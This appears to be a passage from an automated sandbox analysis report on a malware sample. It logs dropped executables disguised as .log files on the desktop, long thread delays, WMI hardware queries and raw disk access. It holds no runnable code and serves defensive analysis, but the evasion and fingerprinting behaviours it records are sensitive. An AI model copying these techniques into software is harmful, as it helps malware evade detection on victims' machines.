Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fJpQiebD.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hvVhpsmw.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EGTLBrur.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dQjRxcKu.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ThTkHCsg.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wRGvCRHS.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JqQCtqMt.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bKbarvIN.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\smUfKBeQ.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UiPBOzEN.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\upHOgkjL.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WkCjjiJI.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZVhzqwUB.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yfxFnhjF.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GqCLBHtD.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yOqmYLpC.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\sizXZEhe.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NjoTfhRh.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EYaePNot.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bOwictFz.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vOcwhcWM.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BVovudjy.log	Jump to dropped file

Source: C:\Users\user\Desktop\lEwK4xROgV.exe TID: 2828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7316	Thread sleep count: 3402 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7324	Thread sleep count: 2669 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320	Thread sleep count: 2935 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 4239 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 4128 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7644	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 7900	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -599873s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -599757s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -599641s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -599521s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -599383s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -599239s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 7532	Thread sleep time: -3600000s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -599031s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -598344s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -597813s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -597281s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -596844s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -596344s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -596063s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -595828s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -595485s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -594969s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -594727s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -594281s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -594031s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -593766s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -593469s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -593218s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -592813s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -592469s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -592188s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -591688s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -591281s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -590813s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -590485s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -590078s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -589672s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -589250s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -588938s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -588624s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -588078s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -587703s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 7532	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -587313s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -586875s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -586544s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -586000s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -585731s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -585219s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -584848s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -584648s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -584469s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -584300s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -584114s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -583964s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -583766s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -583578s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -583406s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -583266s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -583050s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -582879s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -582710s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -582516s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -582344s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -582156s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -581977s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -581828s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -581685s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -581500s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -581325s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -581184s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -581057s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580950s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580828s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580719s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580609s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580498s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580375s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580188s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -580059s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -579934s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -579735s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -579474s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -579235s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -579017s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -578844s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -578703s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -578532s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -578378s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -578250s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -578141s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -578031s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -577922s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -577813s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -577693s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -577577s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -577453s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -577344s >= -30000s
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe TID: 4040	Thread sleep time: -577233s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6104	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Code function: 0_2_00007FFD9BAA4CF1 GetSystemInfo,

0_2_00007FFD9BAA4CF1

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 30000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599873
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599757
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599641
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599521
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599383
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599239
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599031
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 598344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 597813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 597281
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 596844
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 596344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 596063
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 595828
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 595485
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594969
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594727
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594281
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594031
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 593766
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 593469
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 593218
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 592813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 592469
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 592188
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 591688
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 591281
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 590813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 590485
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 590078
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 589672
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 589250
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 588938
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 588624
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 588078
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 587703
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 587313
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 586875
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 586544
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 586000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 585731
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 585219
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584848
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584648
